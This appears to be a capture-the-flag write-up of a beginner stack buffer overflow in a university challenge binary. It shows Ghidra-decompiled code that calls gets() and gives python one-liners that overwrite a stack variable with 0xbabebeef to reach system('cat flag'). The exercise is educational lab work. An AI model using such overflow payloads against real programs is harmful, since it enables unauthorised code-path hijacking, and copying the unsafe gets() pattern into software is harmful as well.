KCSC: A simple BOF
Today we are going to test out Ghidra with one of my university pwnie challenge.
| Info | Value |
|---|---|
| Name | pwn1 |
| Type | ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0 |
| Entropy | 3.82492 (not packed) |
Analyzing
Let’s load the binary into our disassembler Ghidra and analyze the main function. Take your time to spot the problem in the following code.
undefined4 main(void)
{
__uid_t __euid;
__uid_t __ruid;
char local_4c [40];
int local_24;
undefined *local_14;
local_14 = &stack0x00000004;
local_24 = 0;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("This should be an easy BOF!");
gets(local_4c);
if (local_24 == 0) {
puts("try again ma boi :v");
}
else {
puts("Good, now try harder");
if (local_24 == 0xbabebeef) {
__euid = geteuid();
__ruid = geteuid();
setreuid(__ruid,__euid);
puts("OK, submit the flag");
system("cat flag");
}
}
return 0;
}
Breakdown
We can see the variable local_24 is declared but never changed and thus the program’s flow will always result into if (local_24 == 0) statement, right? That’s when the buffer overflow jumps in as the gets is marked as deprecated and not safe to use.
MSDN:
Because there is no way to limit the number of characters read by gets, untrusted input can easily cause buffer overruns. Use
fgetsinstead.
As the explanation is said, that it’s impossible to tell how many characters gets will read into the buffer, here is local_4c with the length of 40 in character. Let’s try overflow it with a simple python script.
┌──(kali㉿kali)-[~/CTF/KCSC/ez_bof]
└─$ python3 -c "print('a'*41)" | ./pwn1
This should be an easy BOF!
Good, now try harder
Great, we are able to get through the first block. In the next conditional statement, we can achieve the flag whether the comparison between local_24 and 0xbabebeef is equal. We can just simply modify the local_24 value to 0xbabebeef.
As we have known that the buffer is holding 40 characters in size, the leftover ones are being passed onto the next stack address which is now local_24’s address. So we will fill the buffer local_4c with 40 characters and then put 0xbabebeef value into local_24.
┌──(kali㉿kali)-[~/CTF/KCSC/ez_bof]
└─$ python3 -c "print('a'*40 + '\xef\xbe\xbe\xba')" | ./pwn1
This should be an easy BOF!
Good, now try harder
OK, submit the flag
KCSC{[REDACTED]}